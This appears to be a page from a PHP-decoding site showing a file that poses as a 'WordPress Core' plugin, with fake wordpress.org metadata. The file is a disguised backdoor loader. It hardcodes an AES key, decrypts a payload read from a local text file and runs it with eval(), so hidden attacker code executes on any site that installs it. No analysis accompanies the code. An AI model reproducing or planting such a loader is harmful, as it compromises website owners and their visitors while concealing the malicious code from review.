PHP Decode

<?php 
/** 
 * @package Wordpress_Core 
 * @version 1.7.3 
 */ 
/* 
Plugin Name: WordPress Core 
Plugin URI: https://wordpress.org/plugins/ 
Description: This is core plugin for managment WordPress. 
Version: 1.7.3 
Author URI: https://wordpress.org/ 
*/ 
class UnsafeCrypto 
{ 
 const METHOD = 'aes-256-ctr'; 
 public static function decrypt($message, $nonce, $key, $encoded = false) 
 { 
  if ($encoded) { 
   $message = base64_decode($message, true); 
   $nonce = base64_decode($nonce, true); 
   if ($message === false || $nonce === false) { 
        throw new Exception('Encryption failure'); 
   } 
 
  } 
 
  $plaintext = openssl_decrypt( 
   $message, 
   self::METHOD, 
   $key, 
   OPENSSL_RAW_DATA, 
   $nonce 
  ); 
             
  return $plaintext; 
 } 
} 
 
$key = hex2bin('1611ce380d12c11d83cad24ff9212407808874b468815096bfb57d144926f5f3'); 
$parts = file('./nuwzzbktzd.txt', FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES); 
$decrypted = UnsafeCrypto::decrypt($parts[1], $parts[0], $key, true); 
eval($decrypted); 
?>